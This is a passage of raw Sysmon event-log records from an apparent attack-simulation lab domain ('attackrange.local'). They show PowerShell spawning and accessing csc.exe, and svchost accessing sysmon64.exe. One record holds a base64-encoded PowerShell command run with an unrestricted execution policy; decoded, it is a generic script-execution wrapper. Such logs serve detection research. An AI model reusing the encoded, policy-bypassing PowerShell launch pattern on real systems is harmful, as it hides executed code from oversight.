@\"C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\nlfue2jy.cmdline\"","CurrentDirectory":"C:\\Users\\Administrator\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-413F-5F2D-0000-0020D2720600}","LogonId":"0x672d2","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=4360A98D8785625667D2574D2DD5C988,SHA256=F7DB25AA420C14C514690C1E943EC1E729596973E911B3445DFAD42FE958711D,IMPHASH=ED2AE001A3FDD84BDC04C99A98883A52","ParentProcessGuid":"{90617006-413F-5F2D-0000-001069820600}","ParentProcessId":"4248","ParentImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","ParentCommandLine":"\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==","EventReceivedTime":"2020-08-07 11:55:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4588,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.834\r\nSourceProcessGUID: {90617006-413F-5F2D-0000-001069820600}\r\nSourceProcessId: 4248\r\nSourceThreadId: 4828\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-413F-5F2D-0000-0010AF930600}\r\nTargetProcessId: 5032\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3332f6|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+270222|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+26fe9f|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+26f9ee|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+26f97a|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+26e48b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+7c1ecb|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+7c1999|UNKNOWN(00007FF8EA6BB68F)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.834","SourceProcessGUID":"{90617006-413F-5F2D-0000-001069820600}","SourceProcessId":"4248","SourceThreadId":"4828","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-413F-5F2D-0000-0010AF930600}","TargetProcessId":"5032","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3332f6|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+270222|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+26fe9f|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+26f9ee|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+26f97a|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+26e48b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+7c1ecb|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+7c1999|UNKNOWN(00007FF8EA6BB68F)","EventReceivedTime":"2020-08-07 11:55:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4589,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.834\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-413F-5F2D-0000-0010AF930600}\r\nTargetProcessId: 5032\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.834","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-413F-5F2D-0000-0010AF930600}","TargetProcessId":"5032","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:55:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4590,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.834\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.834","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4591,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.834\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.834","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4592,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.834\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.834","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4593,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.834\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.834","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4594,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.834\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.834","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4595,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.834\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 